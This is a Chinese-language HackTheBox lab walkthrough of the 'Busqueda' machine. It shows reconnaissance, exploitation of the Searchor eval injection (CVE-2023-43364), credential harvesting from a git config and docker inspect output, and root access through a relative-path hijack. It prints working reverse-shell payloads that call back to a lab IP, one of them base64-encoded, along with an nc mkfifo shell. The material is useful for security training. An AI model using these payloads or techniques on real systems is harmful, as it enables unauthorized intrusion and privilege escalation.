HackTheBox-Machines--Busqueda

发布于:2024-04-15 ⋅ 阅读:(159) ⋅ 点赞:(0)

Busqueda 测试过程


0x01 信息收集


   a.端口扫描: 发现22、80端口

nmap -sC -sV 10.129.228.217

在这里插入图片描述

echo "10.129.228.217 searcher.htb" | sudo tee -a /etc/hosts

0x02 漏洞测试


1. 访问 10.129.228.217,web应用程序有两个可测试点:Searchor2.4.0(重定向的search功能)、Flask web框架

在这里插入图片描述

2. Searchor2.4.0(重定向的search功能)测试

  点击 Searchor2.4.0 跳转到github,对其具有详细描写:Searchor是一款一体化PyPi Python库,可简化网页抓取、获取主题信息以及生成搜索查询 URL。

  1> 输入test,跳转到:https://www.bing.com/search?q=test;search参数可控
在这里插入图片描述

在这里插入图片描述

  2> 搜索Searchor 在 v<=2.4.2发现存在CVE-2023-43364

  Searchor 在 v<=2.4.2 中存在一个问题,允许攻击者通过精心设计的脚本对 Searchor 的 src/searchor/main.py 文件中的 eval() 函数执行任意代码,从而影响 Searchor 的 CLI 中的搜索功能, 漏洞编号 CVE-2023-43364

在这里插入图片描述

  3> 漏洞代码分析


@click.argument("query")
def search(engine, query, open, copy):
    try:
        url = eval( # <<< See here 
            f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})"
        )
        click.echo(url)
        searchor.history.update(engine, query, url)
        if open:
            click.echo("opening browser...")
	  ...

3. CVE-2023-43364 测试

  eval 不支持多行执行,并且为不影响语句正常运行,闭合前半部分eval语句

  构造如下payload:

') + str(__import__('os').system('id')) #

在这里插入图片描述

在这里插入图片描述

4. 利用 CVE-2023-43364 反弹 shell

')+ str(__import__('os').system('echo bash -i >& /dev/tcp/10.10.14.150/4444 0>&1|base64 -d|bash'))#
')+ str(__import__('os').system('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNTAvNDQ0NCAwPiYx|base64 -d|bash'))#

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

0x03 权限提升


1.信息收集

  执行 ls -la,发现在.git目录下存在config配置文件
在这里插入图片描述

config文件中存在:
  账号:cody
  密码:jh1usoih2bkjaspwe92
  子域名:gitea.searcher.htb

echo "10.129.228.217 gitea.searcher.htb" | sudo tee -a /etc/hosts

访问 gitea.searcher.htb 子域

  在explore下发现两个域名称:administrator和cody
在这里插入图片描述

  使用 cody:jh1usoih2bkjaspwe92 登录系统

在这里插入图片描述

  发现searcher_site存储库

在这里插入图片描述

2.sudo -l 探测,未发现可利用
在这里插入图片描述

3.尝试密码复用,cody和svc密码是否可以共用

  利用密码 jh1usoih2bkjaspwe92 ssh登录 svc 账户

ssh svc@10.129.228.217

在这里插入图片描述

  python 可以以 root 权限运行 system-check.py *
在这里插入图片描述

sudo /usr/bin/python3 /opt/scripts/system-checkup.py *

在这里插入图片描述

  在输出的用法界面提示,执行system-checkup.py*脚本,需要添加参数(arg1)(arg2)并给出了三个命令,dockerps、docker-inspect、full-checkup

  添加 docker-ps 命令,继续执行脚本:

  执行docker-ps,发现两个正在运行的容器
在这里插入图片描述
  添加 docker-inspect 命令,继续执行脚本:

  输出显示需要 format 和 container_name,即格式和容器名称

  容器名称在执行 docker-inspect 的时候已经得到了两个,但是现在不知道 format 参数是代表什么
在这里插入图片描述

4.查询format参数

  搜索 docker-inspect 命令的相关信息

在这里插入图片描述

  根据Docker官网给出的文档:--format 参数为标准化输出使用 {{json.}}以json格式输出容器的相关信息

  jq 工具 可以将 json 解析为可读格式,检测是否安装 jq工具

在这里插入图片描述

# 输出 gitea 容器的相关信息
sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .}}' gitea
| jq

在这里插入图片描述

在这里插入图片描述

  在gitea的输出信息中,获取到密码:yuiu1hoiu4i5ho1uh

  使用账号密码 administrator:yuiu1hoiu4i5ho1uh 登录子域gitea.searcher.htb
在这里插入图片描述
  枚举 administrator 存储库,在scripts下发现system-checkup.py,检查脚本内容
在这里插入图片描述

在这里插入图片描述

  分析脚本内容,full-checkup参数执行了 ./full-checkup.sh 脚本,并且在引用full-checkup.sh时使用的是相对路径,这表明,system-checkup.py 所在目录 /opt/scripts 下执行 full-checkup.sh 时,都会执行成功。

  那我们把反弹shell代码写入新建的full-checkup.sh,在执行full-checkup时,则会引用full-checkup.sh,成功执行反弹shell

echo -en "#! /bin/bash\nrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.150 4444 >/tmp/f" > /tmp/full-checkup.sh
chmod +x full-checkup.sh
sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述


网站公告

今日签到

点亮在社区的每一天
去签到